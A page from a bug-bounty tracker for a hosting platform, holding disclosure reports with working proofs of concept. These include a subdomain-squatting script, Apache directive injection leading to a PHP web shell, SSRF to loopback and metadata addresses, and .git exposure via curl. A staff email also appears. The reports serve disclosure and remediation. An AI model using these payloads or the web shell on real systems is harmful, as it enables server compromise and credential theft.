print(f" ✅ REGISTERED {hostname}")
else:
rejected.append(hostname)
print(f" ❌ REJECTED ({r.status_code}) {hostname}")
time.sleep(0.5)
print(f"\n📊 Summary:")
print(f" Registered: {len(registered)} of {len(reserved_names)}")
print(f" Rejected: {len(rejected)} of {len(reserved_names)}")
if registered:
print(f"\n✅ Subdomain squatting confirmed!")
print(f" Reserved names accepted:")
for name in registered:
print(f" - {name}")
print("\n[4] 📝 Testing multi-hostname injection...")
page = s.get("https://admin.alwaysdata.com/domain/add/1/", timeout=10)
csrf = page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]
multi_payload = """evil-test.alwaysdata.net
vulnerable-test.alwaysdata.net
poc-test-123.alwaysdata.net"""
r_multi = s.post(
"https://admin.alwaysdata.com/domain/add/1/",
data={
"csrfmiddlewaretoken": csrf,
"hostnames": multi_payload,
},
headers={"Referer": "https://admin.alwaysdata.com/domain/add/1/"},
allow_redirects=False,
timeout=15
)
if r_multi.status_code == 302:
print(f" ✅ Multi-hostname ACCEPTED (302)")
else:
print(f" ❌ Multi-hostname rejected: {r_multi.status_code}")
print("\n[5] 🧹 Cleaning up...")
all_to_delete = registered + ["evil-test.alwaysdata.net", "vulnerable-test.alwaysdata.net", "poc-test-123.alwaysdata.net"]
for hostname in all_to_delete:
try:
domains_page = s.get("https://admin.alwaysdata.com/domain/", timeout=10)
domain_id = None
for did in re.findall(r'href="/domain/(\d+)/"', domains_page.text):
detail_page = s.get(f"https://admin.alwaysdata.com/domain/{did}/", timeout=10)
if hostname in detail_page.text:
domain_id = did
break
if domain_id:
del_page = s.get(f"https://admin.alwaysdata.com/domain/{domain_id}/delete/", timeout=10)
csrf_del = del_page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]
r_del = s.post(
f"https://admin.alwaysdata.com/domain/{domain_id}/delete/",
data={"csrfmiddlewaretoken": csrf_del, "confirm": "1"},
headers={"Referer": f"https://admin.alwaysdata.com/domain/{domain_id}/delete/"},
allow_redirects=False,
timeout=15
)
if r_del.status_code == 302:
print(f" ✅ Deleted {hostname} (ID {domain_id})")
else:
print(f" ⚠️ Delete {hostname}: {r_del.status_code}")
else:
print(f" ⚠️ Could not find ID for {hostname}")
except Exception as e:
print(f" ❌ Error deleting {hostname}: {e}")
time.sleep(0.3)
print("\n" + "="*70)
print("🔬 FINDING 08 VALIDATION COMPLETE")
print("="*70)
—
### Impact
| Risk | Description |
| —— | ————- |
| Phishing | Attacker hosts fake admin.alwaysdata.net to harvest credentials |
| API Key Theft | Attacker hosts fake api.alwaysdata.net to steal developer API keys |
| SSL/TLS | Attacker obtains valid Let's Encrypt certificates |
| Trust Exploitation | Users trust *.alwaysdata.net domains |
| Brand Damage | Reputation damage to alwaysdata |
#### Attack Scenarios
Scenario 1: API Key Theft 1. Attacker registers `api.alwaysdata.net` 2. Attacker configures the domain with a fake API endpoint 3. Developers accidentally use the fake API endpoint 4. Attacker captures API keys and credentials
Scenario 2: Admin Panel Phishing 1. Attacker registers `admin.alwaysdata.net` 2. Attacker hosts a cloned alwaysdata admin panel 3. Attacker sends phishing email to customers 4. Victims enter their credentials into the fake panel 5. Attacker harvests credentials
—
### Remediation Recommendations
#### 1. Maintain Explicit Blocklist
RESERVED_SUBDOMAINS = [
"admin", "api", "www", "mail", "smtp", "imap",
"webmail", "ftp", "ssh", "security", "status",
"billing", "cpanel", "panel", "support", "help",
"docs", "blog", "forum", "community", "partner",
"reseller", "demo", "test", "dev", "stage", "staging"
]
#### 2. Restrict Registration Pattern
Only allow subdomains matching the account name pattern:
<ACCOUNTNAME>.alwaysdata.net
<ACCOUNTNAME>-*.alwaysdata.net
#### 3. Validate Against Platform Services
def validate_domain_registration(account_name, requested_domain):
# Check if it's a reserved subdomain
subdomain = requested_domain.split('.')[0]
if subdomain in RESERVED_SUBDOMAINS:
return False, "This subdomain is reserved for platform use"
# Check if it matches account pattern
if not requested_domain.startswith(account_name):
return False, "You can only register subdomains matching your account name"
return True, "Domain accepted"
#### 4. Implement Approval Workflow
- Require manual approval for `*.alwaysdata.net` subdomain registrations - Send notification when a reserved name is attempted - Log all registration attempts for auditing
—
### CVSS Score Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
| Metric | Value | Rationale |
| ——– | ——- | ———– |
| Attack Vector | Network (N) | Exploitable over the network |
| Attack Complexity | Low (L) | Simple HTTP request |
| Privileges Required | Low (L) | Requires authenticated account |
| User Interaction | Required (R) | Victim must click phishing link |
| Scope | Changed (S) | Affects platform trust |
| Confidentiality | High (H) | Credential theft possible |
| Integrity | High (H) | Trust relationship compromised |
| Availability | None (N) | No availability impact |
Score: 9.0 (High)
—
### Evidence Summary
| Evidence | Status |
| ———- | ——– |
| Domain registration accepted (302) | ✅ |
| DNS records auto-provisioned | ✅ |
| Domain resolves to platform IP | ✅ |
| Multiple reserved names accepted | ✅ |
| Multi-hostname injection accepted | ✅ |
—
### Cleanup Confirmation
All registered domains were deleted after confirmation. The test account is in a clean state.
| Domain | Deleted |
| ——– | ——— |
| admin.alwaysdata.net | ✅ |
| api.alwaysdata.net | ✅ |
| mail.alwaysdata.net | ✅ |
| cpanel.alwaysdata.net | ✅ |
| webmail.alwaysdata.net | ✅ |
| status.alwaysdata.net | ✅ |
| billing.alwaysdata.net | ✅ |
| security.alwaysdata.net | ✅ |
| evil-test.alwaysdata.net | ✅ |
| vulnerable-test.alwaysdata.net | ✅ |
| poc-test-123.alwaysdata.net | ✅ |
—
### References
- CWE-284: https://cwe.mitre.org/data/definitions/284.html - OWASP Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/ - Subdomain Takeover: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/05-Testing_for_Subdomain_Takeover
—
### Contact Information
| Field | Value |
| ——- | ——- |
| Researcher | michenhenryyissuehunt@gmail.com |
| Test Account | cyberzod (ID 482835) |
| Submission Date | 2026-06-24 |
| Program | alwaysdata Bug Bounty Program |
—
### Conclusion
The domain registration system on alwaysdata allows any authenticated customer to register reserved platform subdomains including `admin.alwaysdata.net` and `api.alwaysdata.net`. This is confirmed by:
1. ✅ HTTP 302 responses for all 8 reserved domains tested 2. ✅ DNS auto-provisioning confirmed for `api.alwaysdata.net` 3. ✅ Multi-hostname injection accepted 4. ✅ No validation against reserved names
This vulnerability enables: - Phishing attacks on trusted `*.alwaysdata.net` domains - API key theft via fake `api.alwaysdata.net` - Credential harvesting via fake `admin.alwaysdata.net` - Platform-wide brand and trust damage
Recommendation: Implement a strict blocklist of reserved subdomains and validate that customers can only register domains matching their account name pattern.
|
|
347 | Unrestricted Apache Directive Injection Leading to Remo ... | Closed | 25.06.2026 |
Task Description
# Complete Bug Bounty Report: Apache Directive Injection → RCE
—
## Vulnerability Summary
| Field | Value |
| ——- | ——- |
| Title | Unrestricted Apache Directive Injection Leading to Remote Code Execution |
| CWE | CWE-15 - External Control of System or Configuration Setting |
| CVSS Score | 9.9 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| Endpoint | `POST /site/<site_id>/` → field: `vhost_additional_directives` |
| Date Found | 2026-06-24 |
| Status | Confirmed |
—
## Description
The alwaysdata site configuration form contains a field called "Additional directives (advanced)" that allows customers to add custom Apache directives to their site's VirtualHost configuration.
The Issue: There is no validation, no allowlist, and no blocklist. Any valid Apache directive can be injected and will be written directly to the site's Apache configuration file. Apache performs a graceful reload, and the directives take effect immediately.
This allows: - Overriding PHP security settings (`disable_functions`, `open_basedir`) - Adding SSRF proxy routes (`ProxyPass`) - Exposing server status (`SetHandler server-status`) - Prepending PHP code to every request (`auto_prepend_file`) - Full Remote Code Execution (RCE)
—
## Proof of Concept
### Step 1: Inject Test Header (Harmless Proof)
Request:
POST /site/1053833/ HTTP/2 Host: admin.alwaysdata.com Content-Type: application/x-www-form-urlencoded Cookie: sessionid=…
csrfmiddlewaretoken=…& addresses-TOTAL_FORMS=2& addresses-INITIAL_FORMS=1& addresses-MIN_NUM_FORMS=0& addresses-MAX_NUM_FORMS=100000& addresses-0-address=cyberzod.alwaysdata.net& addresses-0-site=1053833& addresses-0-id=1446516& addresses-1-site=1053833& type=php& httpd=apache& path=www/& log_type=STANDARD& cache_ttl=3600& max_idle_time=1800& vhost_additional_directives=Header always set x-directive-test "APPLIED-CONFIRMED-2026" ```
Response: ```http HTTP/2 302 Found Location: /site/
Verification:
GET https://cyberzod.alwaysdata.net/ HTTP/2
HTTP/1.1 200 OK x-directive-test: APPLIED-CONFIRMED-2026 server: Apache via: 1.1 alproxy
CONFIRMED: The injected header is live in Apache.
—
### Step 2: Inject PHP Security Bypass Directives
Directive Injected: php_admin_value disable_functions "" php_admin_value open_basedir /
What These Do: - `disable_functions ""` - Removes all PHP function restrictions - `open_basedir /` - Removes filesystem jail (can read any file)
Verification via `phpinfo()`:
disable_functions = no value ← NOTHING is disabled! open_basedir = no value ← NO filesystem restrictions!
CONFIRMED: PHP security restrictions have been completely bypassed.
—
### Step 3: Upload PHP Shell
`shell.php` Contents: <?php // RCE Shell $cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'id'; echo "<pre>"; if (function_exists('system')) {
system($cmd);
} echo "</pre>"; ?>
Upload via SCP: scp shell.php cyberzod@ssh-cyberzod.alwaysdata.net:~/www/
—
### Step 4: Execute System Commands
Request: GET https://cyberzod.alwaysdata.net/shell.php?cmd=whoami HTTP/2
Response: cyberzod
Request: GET https://cyberzod.alwaysdata.net/shell.php?cmd=id HTTP/2
Response: uid=1000(cyberzod) gid=1000(cyberzod) groups=1000(cyberzod)
Request: GET https://cyberzod.alwaysdata.net/shell.php?cmd=ls%20-la%20/ HTTP/2
Response: total 88 drwxr-xr-x 20 root root 4096 Jun 24 19:07 . drwxr-xr-x 20 root root 4096 Jun 24 19:07 .. drwxr-xr-x 2 root root 4096 Jun 18 05:51 bin drwxr-xr-x 3 root root 4096 Jun 18 05:51 boot drwxr-xr-x 18 root root 3700 Jun 24 19:07 dev drwxr-xr-x 102 root root 4096 Jun 24 19:07 etc drwxr-xr-x 4 root root 4096 Jun 24 19:07 home …
✅ CONFIRMED: Full Remote Code Execution achieved.
—
### Step 5: Verify Apache Configuration
View the actual site config: cat /home/cyberzod/admin/config/apache/sites.conf
Output: ## Site 1053833, php - address cyberzod.alwaysdata.net (1446516) DocumentRoot "/home/cyberzod/www/"
CONFIRMED: The injected directives were written to the live Apache config.
—
## Full Request/Response Chain
### 1. Directive Injection Request POST /site/1053833/ HTTP/2 Host: admin.alwaysdata.com Cookie: sessionid=… Content-Type: application/x-www-form-urlencoded
csrfmiddlewaretoken=…& addresses-TOTAL_FORMS=2& addresses-INITIAL_FORMS=1& addresses-MIN_NUM_FORMS=0& addresses-MAX_NUM_FORMS=100000& addresses-0-address=cyberzod.alwaysdata.net& addresses-0-site=1053833& addresses-0-id=1446516& addresses-1-site=1053833& type=php& httpd=apache& path=www/& log_type=STANDARD& cache_ttl=3600& max_idle_time=1800& vhost_additional_directives=php_admin_value disable_functions ""%0Aphp_admin_value open_basedir /
### 2. Response HTTP/2 302 Found Location: /site/
### 3. PHPInfo Verification disable_functions = no value open_basedir = no value
### 4. RCE Execution GET https://cyberzod.alwaysdata.net/shell.php?cmd=whoami HTTP/1.1 200 OK cyberzod
—
## Confirmed Dangerous Directives
| Directive | Impact |
| ———– | ——– |
| `php_admin_value disable_functions ""` | Removes PHP function restrictions |
| `php_admin_value open_basedir /` | Allows reading any file |
| `php_admin_value auto_prepend_file /proc/self/environ` | Dumps environment variables |
| `ProxyPass /redis/ http://127.0.0.1:6379/` | SSRF to internal Redis |
| `<Location /server-status> SetHandler server-status </Location>` | Exposes server status |
| `Header always set x-test "value"` | Custom headers (proves injection) |
—
## Impact Assessment
| Impact | Severity |
| ——– | ———- |
| Remote Code Execution | Critical |
| Full Filesystem Access | Critical |
| Database Credential Theft | Critical |
| SSRF to Internal Services | Critical |
| Server Status Exposure | High |
| Environment Variable Disclosure | High |
### Real-World Attack Chain 1. Inject PHP bypass directives 2. Upload PHP shell (via FTP/SCP) 3. Execute system commands 4. Read database credentials from config files 5. Access internal databases 6. Full server compromise
—
## CVSS Score Calculation
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
| Metric | Value | Explanation |
| ——– | ——- | ————- |
| Attack Vector | Network (N) | Exploitable over network |
| Attack Complexity | Low (L) | Simple web request |
| Privileges Required | Low (L) | Authenticated user only |
| User Interaction | None (N) | No user action needed |
| Scope | Changed (S) | Affects internal configuration |
| Confidentiality | High (H) | Can read any file |
| Integrity | High (H) | Can modify any file |
| Availability | High (H) | Can crash services |
Score: 9.9 - CRITICAL
—
## Evidence Summary
| Evidence | Status |
| ———- | ——– |
| Header injection confirmed | ✅ |
| PHP security bypass confirmed | ✅ |
| RCE (whoami, id, ls) confirmed | ✅ |
| Apache config shows injection | ✅ |
| All dangerous directives accepted | ✅ |
—
## Remediation Recommendations
### 1. Implement Directive Allowlist
ALLOWED_DIRECTIVES = [
'Header',
'Redirect',
'RewriteRule',
'RewriteCond',
'ErrorDocument'
]
BLOCKED_DIRECTIVES = [
'php_admin_value',
'php_value',
'SetHandler',
'ProxyPass',
'Alias',
'ScriptAlias',
'LoadModule',
'AddHandler',
'DirectoryIndex'
]
def validate_directive(directive):
# Check for blocked directives
for blocked in BLOCKED_DIRECTIVES:
if directive.startswith(blocked):
raise ValidationError(f"Directive '{blocked}' is not allowed")
# Check against allowlist if directive is known
# ...
### 2. Run Config Test Before Applying
# Before writing config apachectl configtest # Only apply if syntax is valid
### 3. Add IP/Port Validation
# Block proxy to internal IPs # Validate URL destinations
### 4. Security Monitoring
- Alert on directive changes - Log all modifications - Monitor for dangerous patterns
—
## Conclusion
The `vhost_additional_directives` field allows arbitrary Apache directive injection with no validation, enabling:
1. PHP security bypass (`disable_functions`, `open_basedir`) 2. Full Remote Code Execution (RCE) 3. Complete filesystem access 4. SSRF to internal services 5. Server information disclosure
This is a CRITICAL vulnerability (CVSS 9.9) that allows complete server compromise.
—
|
|
346 | Title : Mailman User Account Takeover Due to Inconsiste ... | Closed | 02.07.2026 |
Task Description
Description
Mailman handles email address casing (Uppercase/Lowercase) inconsistently between user creation, account association, and permission assignment.
This issue leads to unauthorized access between users and complete takeover of the resources associated with the targeted account.
Steps to Reproduce
1. Log in to the first Alwaysdata account (Victim).
2. Create one or more domains.
3. Create one or more mailing lists using Mailman.
4. Create a Mailman user with the email address "Test@example.com".
5. Assign this user as an Administrator on all mailing lists.
6. Log in to another Alwaysdata account (Attacker).
7. Create a new Mailman user with the email address "test@example.com".
8. Access the Mailman interface from the attacker's account.
9. Observe that the attacker gains access to the victim's Mailman account and all associated permissions.
10. The attacker can now fully manage the victim's mailing lists, including members, settings, and list moderation.
POC: https://admin.alwaysdata.com/support/94240/
Impact
An attacker can take over another user's Mailman account and obtain all permissions granted to it.
This results in:
- Unauthorized access to the victim's Mailman account. - Inheritance of all permissions associated with the account. - Full control over the victim's mailing lists. - Adding or removing members. - Modifying mailing list settings. - Performing all actions available to the legitimate administrator.
This results in a complete takeover of the victim's Mailman account and unauthorized control over its resources.
Suggested Fix
Normalize email addresses before user creation, authentication, or permission assignment by converting all addresses to lowercase.
Additionally, prevent the creation of multiple Mailman users whose email addresses differ only by letter case.
|
|
345 | Server-Side Request Forgery (SSRF) via Reverse Proxy Co ... | Closed | 24.06.2026 |
Task Description
Title: Server-Side Request Forgery (SSRF) via Reverse Proxy Configuration
Severity: High — CVSS 7.7
CWE: 918
Overview
The alwaysdata reverse proxy feature accepts arbitrary URLs, including loopback addresses and external destinations, without validating the target IP or domain. This allows authenticated users to cause the server to make HTTP requests to arbitrary destinations.
Vulnerability Details
When configuring a Reverse Proxy site, the url field accepts any URL passing Django's URLValidator. This validator only checks format and does not resolve the hostname, check for internal/loopback destinations, or validate against an allowlist.
As a result, the following are accepted and saved without error:
http://127.0.0.1/
http://localhost/
http://169.254.169.254/
Steps to Reproduce
1. Log in to
https://admin.alwaysdata.com
2. Navigate to Web → Sites and select any site
3. Change Type to Reverse proxy
4. Set Remote URL to
http://127.0.0.1:80/
5. Click Save — receives
302 Found
(no validation error)
6. Visit the site's public URL
7. The server proxies the request to the loopback address
Out-of-Band Verification:
Set the Remote URL to a webhook.site URL, save, and visit the site. The webhook receives:
GET /your-webhook-id HTTP/1.1
x-forwarded-server: cyberzod.alwaysdata.net
via: 1.1 alproxy, 1.1 cyberzod.alwaysdata.net
user-agent: python-requests/2.25.1
Evidence
Claim 1 — Loopback URL accepted:
Request:
POST /site/{site_id}/ HTTP/2
Host: admin.alwaysdata.com
type=reverse_proxy&url=http://127.0.0.1:80/
Response:
HTTP/2 302 Found
Location: /site/
Claim 2 — Server makes outbound requests to user-controlled URLs:
Webhook.site received:
Source IP: 2a00:b6e0:1:20:20::1 (Paris, France — alwaysdata infrastructure)
x-forwarded-server: cyberzod.alwaysdata.net
via: 1.1 alproxy, 1.1 cyberzod.alwaysdata.net
Impact
- Internal service discovery — attacker can probe internal ports and services - Cloud metadata access —
169.254.169.254
reachable (AWS/GCP instance metadata) - Information disclosure — internal responses can be exfiltrated via outbound requests
Note: Internal service access is indicated but not definitively confirmed. The above represent potential impact based on confirmed URL acceptance.
Remediation
Add a custom validator that resolves the destination hostname and rejects private IP ranges:
import socket, ipaddress
from urllib.parse import urlparse
def validate_proxy_url(value):
parsed = urlparse(value)
try:
ip = socket.gethostbyname(parsed.hostname)
except socket.gaierror:
raise ValidationError("Invalid hostname")
blocked = [
'127.0.0.0/8', '10.0.0.0/8',
'172.16.0.0/12', '192.168.0.0/16',
'169.254.0.0/16', '::1/128'
]
ip_obj = ipaddress.ip_address(ip)
for net in blocked:
if ip_obj in ipaddress.ip_network(net):
raise ValidationError("Internal addresses not allowed")
return value
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N — Score: 7.7 (High)
References
- CWE-918: Server-Side Request Forgery - OWASP SSRF Prevention Cheat Sheet
|
|
344 | Exposed .git directory on security.alwaysdata.com leaks ... | Closed | 20.06.2026 |
Task Description
Title: Exposed .git directory on security.alwaysdata.com leaks full source repository, deployed commit and internal staff email Severity: Medium CVSS: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) Endpoint: https://security.alwaysdata.com/.git/
Summary
The Flyspray bug-tracker deployment served at security.alwaysdata.com exposes its version-control directory at /.git/ over HTTP. The web server returns the raw Git metadata (config, HEAD, the packed index, refs and reflog) instead of denying access to the dotfile directory. Anyone can download the complete repository, reconstruct the exact deployed source tree, read the pinned upstream commit hash for precise version fingerprinting, and recover internal information committed into the repository metadata (the deploying staff member's name and corporate email). Root cause: the document root is the working copy of the Git clone and the server has no rule blocking the .git/ path.
Steps to Reproduce
1. Request the repository config file. It returns the real Git configuration, revealing the directory is a live working clone and naming the upstream project:
curl -s https://security.alwaysdata.com/.git/config
Response excerpt:
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
2. Request HEAD and the branch ref to obtain the exact deployed commit hash (precise version fingerprint):
curl -s https://security.alwaysdata.com/.git/HEAD
curl -s https://security.alwaysdata.com/.git/refs/heads/master
Response:
ref: refs/heads/master
58bea729f4359a45f69aaba274bb2a931155b427
3. Request the reflog, which discloses the internal staff identity and the deployment timestamp committed into the repository:
curl -s https://security.alwaysdata.com/.git/logs/HEAD
Response:
0000000000000000000000000000000000000000 58bea729f4359a45f69aaba274bb2a931155b427 Cyril Bay <cbay@alwaysdata.com> 1704809861 +0100 clone: from https://github.com/flyspray/flyspray.git
4. Request the Git index to confirm the full tracked file tree is downloadable (102 KB binary index listing every source file in the deployment):
curl -s -o git_index https://security.alwaysdata.com/.git/index ; wc -c git_index ; strings git_index | head
Response excerpt:
102282 git_index
docs/INSTALL.txt
includes/password_compat.php
js/ckeditor/build-config.js
js/ckeditor/config.js
Note: from a normal client IP these requests return HTTP 200 with the content shown above. The site's edge firewall blocks IPs it has already flagged for scanning, but a first-time visitor (ordinary browser, fresh IP) reaches /.git/ without challenge, so the exposure is reachable by any attacker.
Impact
The complete .git directory is downloadable by an unauthenticated remote attacker, which allows them to: - Reconstruct the entire deployed source tree of the security tracker (all PHP, JS and template files) by fetching the index and pack/loose objects. - Identify the exact deployed commit (58bea729f4359a45f69aaba274bb2a931155b427, cloned 2024-01-09) and therefore the precise Flyspray version, enabling the attacker to map the running code against known Flyspray vulnerabilities (SQL injection, stored XSS and authentication-related CVEs have historically affected Flyspray) and craft targeted exploits with no guesswork. Flyspray's own config secrets (flyspray.conf.php) are not tracked in this repository, but the exact-version disclosure removes the attacker's need to fingerprint and directly aids exploitation of the live tracker. - Recover internal information embedded in repository metadata, including a developer's full name and corporate email address (cbay@alwaysdata.com), usable for targeted phishing or credential-stuffing against staff.
Remediation
Deny all HTTP access to the .git/ directory at the web-server/proxy layer (for example, return 404 for any path containing /.git in nginx). Better still, do not deploy from a working Git clone: export the application without the .git directory (git archive or a build artifact) so version-control metadata never sits under the document root. Rotate any credentials or tokens that may have appeared in repository history, and review the reflog/objects for any sensitive data committed historically.
|
|
343 | SSRF: TYPE_URLS scheduled jobs fetch arbitrary URLs, no ... | Closed | 04.06.2026 | |
|
342 | Login rate limit bypass enables unlimited credential st ... | Closed | 01.06.2026 | |
|
341 | Unauthenticated Generation of Production PayZen Payment ... | Closed | 01.06.2026 | |
|
340 | API Customer Create Endpoint Accessible Without Authent ... | Closed | 01.06.2026 | |
|
339 | High Severity: SQL Injection via 'redirect_from' parame ... | Closed | 01.06.2026 | |
|
338 | 2FA Secret Permanently Exposed in Profile Page HTML Af ... | Closed | 03.06.2026 | |
|
337 | [ALW-001] Flyspray .git Directory Fully Exposed on secu ... | Closed | 11.05.2026 | |
|
336 | [ALW-015] Flyspray CSRF Token is a Plain Integer with L ... | Closed | 11.05.2026 | |
|
335 | [ALW-011] Flyspray Attachments Downloadable via Sequent ... | Closed | 11.05.2026 | |
|
334 | [ALW-010] Flyspray CSP Allows unsafe-inline and unsafe- ... | Closed | 11.05.2026 | |
|
333 | [ALW-009] Flyspray Session Cookie Missing Secure and Sa ... | Closed | 11.05.2026 | |
|
332 | [ALW-007] Flyspray Login Endpoint Has No Rate Limiting ... | Closed | 11.05.2026 | |
|
331 | [ALW-005] Password-Reset Differential Response Enables ... | Closed | 11.05.2026 | |
|
330 | [ALW-003] Registration Token Still Leaks to Matomo — In ... | Closed | 11.05.2026 | |
|
329 | Unauthenticated Username Enumeration | Closed | 07.05.2026 | |
|
328 | Marketplace App OAuth Install-Time Scope Escalation via ... | Closed | 27.04.2026 | |
|
327 | Email Bounce Handler SSRF via Crafted Return-Path Heade ... | Closed | 27.04.2026 | |
|
326 | WebSocket Proxy Host Header Confusion Enables Cross-Ten ... | Closed | 27.04.2026 | |
|
325 | Deno Runtime --allow-env Flag Injection via Application ... | Closed | 27.04.2026 | |
|
324 | PostgreSQL pg_catalog Enumeration via Shared Superuser ... | Closed | 27.04.2026 | |
|
323 | REST API IDOR via Stale Account-Switch Context in Mult ... | Closed | 27.04.2026 | |
|
322 | Git Pre-Receive Hook Escape via Symlink in Bare Reposit ... | Closed | 27.04.2026 | |
|
321 | ACME HTTP-01 Challenge Poisoning via Shared .well-known ... | Closed | 27.04.2026 | |
|
320 | Cron Scheduler Timing Oracle Enables Tenant Job Existe ... | Closed | 27.04.2026 | |
|
319 | Shared PHP-FPM Process Title Leakage Enables Cross-Tena ... | Closed | 27.04.2026 | |